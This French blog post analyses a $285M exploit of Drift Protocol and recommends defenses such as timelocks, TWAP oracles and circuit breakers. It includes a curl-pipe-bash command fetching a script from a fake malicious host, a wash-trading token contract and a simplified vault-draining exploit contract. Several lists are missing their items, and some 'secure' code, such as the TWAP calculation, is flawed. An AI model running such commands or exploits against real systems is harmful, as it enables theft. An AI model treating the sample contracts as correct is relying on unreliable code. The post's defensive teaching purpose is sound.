# Hack Drift Protocol $285M — Comment des Mois de Préparation Se Sont Exécutés en 12 Minutes
Le 1er avril 2026, Drift Protocol — un perpetuals DEX sur Solana avec $500M de TVL — a été drainé de $285 millions en 12 minutes.
Ce n'était pas une blague du 1er avril. C'était le plus gros exploit DeFi de 2026, attribué au groupe Lazarus (Corée du Nord).
Voici comment des mois de social engineering ont permis d'exécuter un vol parfait en quelques minutes.
Chronologie de l'Attaque
Phase 1 — Social Engineering (3 mois avant)
Les attaquants ont ciblé les opérateurs de gouvernance de Drift Protocol via :
- Faux profils LinkedIn (recruteurs crypto, VCs)
- Phishing via Discord (faux channel de support)
- Compromission d'un wallet admin via un malware déguisé en outil de trading
Un développeur de Drift a téléchargé un "CLI de monitoring" qui contenait un keylogger.
Leçon : jamais exécuter de binaires non audités sur une machine qui gère des clés admin.
# ❌ Ce que le dev a fait
curl https://fake-drift-tools.com/cli | bash
# ✅ Ce qu'il aurait dû faire
# 1. Vérifier le hash du binaire
# 2. Exécuter dans un environnement isolé (VM, Docker)
# 3. Utiliser un hardware wallet pour les clés admin
Phase 2 — Création du Fake Token (2 semaines avant)
Les attaquants ont créé un token low-cost sur Solana : DRIFT-PERP (nom trompeur pour imiter les tokens de Drift).
Ils ont ensuite fait du wash trading pendant 2 semaines pour :
Sur EVM, ça ressemblerait à ça :
// Token fake avec supply contrôlée
contract FakeToken is ERC20 {
address public owner;
constructor() ERC20("Fake Drift Perp", "DRIFT-PERP") {
owner = msg.sender;
_mint(owner, 1_000_000 * 10**18);
}
// Fonction pour manipuler le prix via wash trading
function manipulatePrice(address[] calldata buyers) external {
for (uint i = 0; i < buyers.length; i++) {
_transfer(owner, buyers[i], 1000 * 10**18);
// Les "buyers" sont des wallets contrôlés par l'attaquant
}
}
}
Phase 3 — Compromission de la Clé Admin (1 semaine avant)
Grâce au keylogger, les attaquants ont récupéré la seed phrase du wallet admin.
Ils n'ont pas agi immédiatement. Ils ont attendu le bon moment pour maximiser le vol.
Leçon : les clés admin doivent être sur hardware wallets (Ledger, Trezor), jamais sur un ordinateur connecté à internet.
Phase 4 — Exécution (12 minutes)
Le 1er avril 2026, 3h42 UTC, les attaquants ont :
Tout s'est passé en 37 transactions sur 12 minutes.
Analyse Technique — Les Failles
1. Key Management Gouvernance
Drift utilisait un multi-sig 3-of-5 pour les décisions critiques. Mais :
- 2 des 5 clés étaient stockées sur des hot wallets (ordinateurs connectés)
- Pas de timelock sur les changements d'oracle
Un attaquant avec 2 clés pouvait :
// ❌ Configuration vulnérable (pseudo-code Solidity)
contract DriftGovernance {
uint256 public constant QUORUM = 3;
mapping(address => bool) public isAdmin;
function updateOracle(address newOracle) external {
require(isAdmin[msg.sender], "Not admin");
// ❌ Pas de timelock, exécution immédiate
oracle = newOracle;
}
}
Solution : timelock obligatoire + threshold signatures (MPC)
// ✅ Configuration sécurisée
contract SecureGovernance {
uint256 public constant TIMELOCK = 48 hours;
mapping(bytes32 => uint256) public proposalTimestamp;
function proposeOracleUpdate(address newOracle) external {
bytes32 proposalId = keccak256(abi.encode(newOracle));
proposalTimestamp[proposalId] = block.timestamp;
emit ProposalCreated(proposalId, newOracle);
}
function executeOracleUpdate(address newOracle) external {
bytes32 proposalId = keccak256(abi.encode(newOracle));
require(
block.timestamp >= proposalTimestamp[proposalId] + TIMELOCK,
"Timelock not expired"
);
oracle = newOracle;
}
}
2. Oracle Manipulation
L'oracle de Drift utilisait un prix spot simple sans TWAP (Time-Weighted Average Price).
Les attaquants ont pu :
Sur EVM, un oracle sécurisé ressemblerait à ça :
// ❌ Oracle vulnérable (prix spot)
contract InsecureOracle {
mapping(address => uint256) public prices;
function getPrice(address token) external view returns (uint256) {
return prices[token]; // Prix actuel, manipulable
}
}
// ✅ Oracle sécurisé (TWAP)
contract SecureOracle {
struct PriceData {
uint256 cumulativePrice;
uint256 lastUpdateTime;
}
mapping(address => PriceData) public priceData;
uint256 public constant TWAP_PERIOD = 30 minutes;
function updatePrice(address token, uint256 price) external {
PriceData storage data = priceData[token];
uint256 timeElapsed = block.timestamp - data.lastUpdateTime;
data.cumulativePrice += price * timeElapsed;
data.lastUpdateTime = block.timestamp;
}
function getPrice(address token) external view returns (uint256) {
PriceData memory data = priceData[token];
uint256 timeElapsed = block.timestamp - data.lastUpdateTime;
// TWAP sur 30 minutes
return data.cumulativePrice / (timeElapsed + TWAP_PERIOD);
}
}
3. Absence de Circuit Breaker
Drift n'avait pas de circuit breaker pour bloquer les retraits massifs.
En 12 minutes, 37 transactions ont drainé $285M sans déclencher d'alerte.
Solution : rate limiting + circuit breaker
contract VaultWithCircuitBreaker {
uint256 public totalDeposits;
uint256 public maxWithdrawalPerBlock = 1_000_000 * 10**6; // 1M USDC
uint256 public withdrawnThisBlock;
uint256 public lastBlockNumber;
function withdraw(uint256 amount) external {
// Reset le compteur à chaque nouveau bloc
if (block.number > lastBlockNumber) {
withdrawnThisBlock = 0;
lastBlockNumber = block.number;
}
// Circuit breaker
require(
withdrawnThisBlock + amount <= maxWithdrawalPerBlock,
"Circuit breaker: withdrawal limit exceeded"
);
withdrawnThisBlock += amount;
// Logic de retrait
}
}
Leçons Pour les Devs Solidity/Rust
1. Hardware Wallets Obligatoires Pour Admin Keys
// ✅ Bonne pratique : utiliser Gnosis Safe avec Ledger
// Toutes les clés admin doivent être sur hardware wallets
// Config exemple :
// - 3-of-5 multi-sig
// - 3 clés sur Ledger (cold storage)
// - 2 clés sur Trezor (backup)
2. Split Cold/Hot Wallets
contract TwoTierGovernance {
address public coldWallet; // Pour changements critiques (oracle, withdrawal limits)
address public hotWallet; // Pour opérations courantes (fee updates)
modifier onlyCold() {
require(msg.sender == coldWallet, "Cold wallet only");
_;
}
modifier onlyHot() {
require(msg.sender == hotWallet, "Hot wallet only");
_;
}
function updateOracle(address newOracle) external onlyCold {
// Changement critique
}
function updateFees(uint256 newFee) external onlyHot {
// Opération courante
}
}
3. Timelocks Sur Withdrawals
contract TimelockVault {
struct Withdrawal {
uint256 amount;
uint256 unlockTime;
}
mapping(address => Withdrawal) public pendingWithdrawals;
uint256 public constant WITHDRAWAL_DELAY = 24 hours;
function requestWithdrawal(uint256 amount) external {
pendingWithdrawals[msg.sender] = Withdrawal({
amount: amount,
unlockTime: block.timestamp + WITHDRAWAL_DELAY
});
emit WithdrawalRequested(msg.sender, amount);
}
function executeWithdrawal() external {
Withdrawal memory w = pendingWithdrawals[msg.sender];
require(block.timestamp >= w.unlockTime, "Timelock not expired");
delete pendingWithdrawals[msg.sender];
// Transfer logic
}
}
4. Monitoring Volume
contract MonitoredVault {
event LargeWithdrawal(address indexed user, uint256 amount);
uint256 public constant ALERT_THRESHOLD = 100_000 * 10**6; // 100K USDC
function withdraw(uint256 amount) external {
if (amount > ALERT_THRESHOLD) {
emit LargeWithdrawal(msg.sender, amount);
// Pause les retraits supplémentaires pendant 1 heure
pauseWithdrawals(1 hours);
}
// Logic
}
}
Pattern de Drainage de Vault
Voici comment un attaquant draine un vault vulnérable :
// ❌ Vault vulnérable
contract VulnerableVault {
mapping(address => uint256) public collateral;
IERC20 public immutable usdc;
IOracle public oracle;
function deposit(address token, uint256 amount) external {
IERC20(token).transferFrom(msg.sender, address(this), amount);
collateral[msg.sender] += amount;
}
function withdraw(uint256 amount) external {
uint256 collateralValue = oracle.getPrice(address(token)) * collateral[msg.sender];
require(collateralValue >= amount, "Insufficient collateral");
usdc.transfer(msg.sender, amount);
}
}
// 🔥 Exploit
contract Exploit {
VulnerableVault public vault;
FakeToken public fake;
function drain() external {
// 1. Créer un fake token
fake = new FakeToken();
// 2. Manipuler l'oracle (si admin compromis)
vault.oracle().setPrice(address(fake), 1000 * 10**18);
// 3. Déposer des fake tokens
fake.approve(address(vault), type(uint256).max);
vault.deposit(address(fake), 1_000_000 * 10**18);
// 4. Retirer des vrais USDC
vault.withdraw(vault.usdc().balanceOf(address(vault)));
}
}
Comment timelock + rate limit l'auraient bloqué :
// ✅ Vault sécurisé
contract SecureVault {
mapping(address => bool) public whitelistedTokens;
uint256 public maxWithdrawalPerHour = 1_000_000 * 10**6;
mapping(bytes32 => uint256) public proposalTimestamp;
function proposeTokenWhitelist(address token) external onlyAdmin {
bytes32 proposalId = keccak256(abi.encode(token));
proposalTimestamp[proposalId] = block.timestamp;
}
function executeTokenWhitelist(address token) external onlyAdmin {
bytes32 proposalId = keccak256(abi.encode(token));
require(
block.timestamp >= proposalTimestamp[proposalId] + 48 hours,
"Timelock not expired"
);
whitelistedTokens[token] = true;
}
function deposit(address token, uint256 amount) external {
require(whitelistedTokens[token], "Token not whitelisted");
// Logic
}
}
Avec cette config, l'attaquant aurait dû :
Conclusion — La Sécurité Est Continue
Le hack Drift Protocol montre que la sécurité n'est pas un audit one-shot.
Les attaquants ont passé 3 mois à préparer l'attaque. Les défenses doivent être continues :
✅ Hardware wallets pour toutes les clés admin
✅ Timelock sur tous les changements critiques
✅ TWAP oracles (jamais de prix spot)
✅ Circuit breakers sur les retraits
✅ Monitoring en temps réel
✅ Bug bounties actifs (Immunefi, Code4rena)
À vous de jouer.
---
Ressources :